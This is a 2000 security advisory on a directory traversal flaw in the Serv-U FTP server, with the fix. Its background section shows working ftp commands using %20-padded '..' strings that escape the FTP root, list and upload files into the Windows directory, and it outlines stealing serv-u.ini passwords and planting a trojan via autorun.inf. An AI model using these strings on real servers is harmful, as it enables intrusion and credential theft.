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Securax-SA-09 Security Advisory

belgian.networking.security Dutch

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Topic: Catsoft serv-U FTP Directory Transversal Vulnerability

Announced: 2000-12-03

Updated: 2000-12-03

tested on: serv-U ftp 2.4a, 2.5h, 3.0bèta,... (all versions ?)

Not affected: ?

Obsoletes: /

http://www.securax.org/pers/

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THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR

RESULTS. THEREFORE WE CANNOT ENSURE THE INFORMATION BELOW IS

100% CORRECT. THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR

NOTICE.

PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING

THE BUG DISCUSSED IN THIS ADVISORY, SHARE THIS ON BUQTRAQ.

THANK YOU,







I. Background



  Lets just dump what i tried: (skip this)





  Normal use: 1.txt is a file in the homedir.

  ftp> get 1.txt

  200 PORT Command successful.

  150 Opening ASCII mode data connection for 1.txt (7 bytes).

  226 Transfer complete.

  7 bytes received in 0.00 seconds (7000.00 Kbytes/sec)



Lets see what happens to hex codes: %2E=. %31=1 %20=space ...



  ftp> get 1%2etxt

  200 PORT Command successful.

  550 /1%2etxt: No such file or directory.

  ftp>



--> %2e is not decoded



  ftp> get 1.%20txt

  200 PORT Command successful.

  550 /1. txt: No such file or directory.



--> %20 is decoded to a space. (to be compatible with browsers)



  ftp> get %201.txt

  200 PORT Command successful.

  150 Opening ASCII mode data connection for 1.txt (7 bytes).

  226 Transfer complete.

  7 bytes received in 0.00 seconds (7000.00 Kbytes/sec)



--> hey, look if the space is in the beginning of the filename,

  it is just skipped.



Lets try this on the cd command:



  ftp> cd \.a%20\

  550 /.a: No such file or directory.



--> space is skipped again...



  ftp> cd \a%20a\

  550 /a a: No such file or directory.

  ftp>



  ftp> cd \a%20.\

  550 /a: No such file or directory.

  ftp>



--> heh ? wtf, the %20 will remove the .



Lets try to play around with that:



  ftp> cd \.%20.

  250 Directory changed to /Ftproot



--> Hey, look the ftp client reveals the ftp dir... thats fun



Lets keep playing



  ftp> cd \..%20.

  250 Directory changed to /..



--> oh ow, this looks like trouble



  ftp> dir

  200 PORT Command successful.

  150 Opening ASCII mode data connection for /bin/ls.

  -rwxrwxrwx   1 user     group        1127 Nov 30 22:06 rootdir.txt

  ...

  226 Transfer complete.

  1180 bytes received in 0.00 seconds (1180000.00 Kbytes/sec)

  ftp>



Ouch, that hurts...



ftp> cd %20..%20%20../winnt\

250 Directory changed to /c:/TOMB/../WINNT

ftp>



You can only use this when you are in your homedir.

You can only use GET ... when you are in your homedir

so first changing to /winnt and then "get" will not work



  ftp> put autoexec.bat %20..%20%20../winnt/2.bat

  200 PORT Command successful.

  150 Opening ASCII mode data connection for 2.bat.

  226 Transfer complete.

  ftp> dir \..%20.\..%20.\winnt\





II. Problem Description



- Serv-U ftp will:

  reveal the full path to the ftproot with: cd \.%20.

  (even if "show path relative to home dir"-option is on )

   Using pwd will work too.



- allow read/write/execute/list axx to any other file on

  the partition of the ftproot if you have read/write/exec/list

  acces on your home dir.

  note that the option inherit subdirs must be clicked on.

  (otherwise "cd" will not work)

- Serv-U will allow listing of hidden files, even if

  "hide hidden files is on" with "DIR ."



- The exploit also works on serv-U ftp 2.4a... but you might

  have to use a different string.:

  dir %20..%20%20..\*.



III. Impact:



   This is a severe bug and should be patched asap.

   If the ftproot is on the c:drive, serv-U.ini can be retrieved

   which contains all passwords of the ftp users.

   (and can be bruted forced with john the ripper)

   That way, you could find logins that allow executing... and

   you can upload and execute a trojan.



   Even if the ftproot is not on the same drive as serv-u.ini,

   you can still upload a trojan and letting this trojan execute

   by using an autorun.inf on e.g.: d:\ with points to our trojan

   If the sysadmin uses "My Computer" instead of explorer.exe,

   the trojan will be executed.



IV. Solution



   Upgrade to version 2.5i, available at:

   http://ftpserv-u.deerfield.com/download/



V. Credits



  Zoa_Chien (zoachien@securax.org)

  Elias (pwd revealing full path)



VI. Source code

none.





---

... And they will all go down together ...



Advertising:

[Zoa_Chien is currently looking for a new job, contact me at

zoachien@securax.org +32/496.45.29.89 for a resume.]